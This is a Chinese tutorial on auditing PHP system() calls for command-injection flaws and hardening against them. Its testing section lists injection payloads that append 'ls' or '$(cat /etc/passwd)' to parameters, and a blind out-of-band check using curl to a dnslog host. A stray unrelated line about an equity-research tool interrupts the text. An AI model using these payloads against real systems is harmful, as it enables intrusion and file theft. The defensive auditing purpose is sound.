system()本身非漏洞,而是高危函数;一旦参数受用户控制且未安全过滤,极易触发RCE。排查重点是确认其调用是否危险:定位所有调用点,检查参数是否来自$_GET等可控源,警惕拼接写法,避免仅依赖escapeshellarg()等不充分防护。

PHP 8.2.20 中 system() 函数本身不是漏洞,而是高危函数——它会直接执行 shell 命令,一旦参数被用户可控且未过滤,就极易触发命令执行漏洞(RCE)。排查重点不是“修复 system”,而是“确认它是否被危险调用”。
确认 system 调用点是否受控
先定位所有 system() 出现位置,再逐个判断参数来源:
- 用
grep -r "system(" /path/to/your/app --include="*.php"扫描全部 PHP 文件 - 重点关注参数是否来自
$_GET、$_POST、$_COOKIE、$_SERVER['HTTP_*']或数据库读取值 - 特别警惕拼接写法:如
system("ping " . $_GET['host'])或exec("ls " . $user_input)(exec、shell_exec、passthru 等同理)
检查是否做了有效过滤或转义
仅用 escapeshellarg() 或 escapeshellcmd() 不等于绝对安全:
专业股权研究自动化系统,支持6,000-10,000字首发覆盖报告和3,000-5,000字季报更新报告。触发词:股票研究、深度研究、首发覆盖、季报更新、DCF估值。
-
escapeshellarg()适合包裹单个参数(如文件名),但不能用于命令名本身或复杂拼接场景 -
escapeshellcmd()会过滤分号、管道符等,但可能绕过(例如在某些 shell 环境下`whoami`仍可执行) - 若参数是 IP 或域名,优先用
filter_var($input, FILTER_VALIDATE_IP)或正则白名单(如/^[a-zA-Z0-9.-]+$/)
验证是否存在可利用路径
在测试环境模拟攻击链,不依赖猜测:
立即学习“PHP免费学习笔记(深入)”;
- 构造典型 payload:
?cmd=id、?host=127.0.0.1;ls%20-al、?file=test.txt$(cat%20/etc/passwd) - 观察响应中是否出现命令执行结果(如
uid=33(www-data)、目录列表、passwd 内容) - 注意盲打场景:若无直接回显,检查 DNSLog(如
curl http://xxx.dnslog.cn)、日志文件写入、时间延迟(sleep 5)
替代方案与加固建议
能不用就不用,必须用则加隔离:
- 优先改用更安全的内置函数:如
file_get_contents()替代curl命令,gethostbyname()替代nslookup - 若必须调用外部程序,使用白名单机制:将允许的命令和参数固化为配置项,运行时只做映射匹配
- 部署层面限制:在 php.ini 中禁用危险函数(
disable_functions = system,exec,shell_exec,passthru,proc_open),注意该设置对已加载扩展无效 - 运行环境隔离:Web 进程以低权限用户(如
www-data)运行,禁止其访问敏感路径与命令


















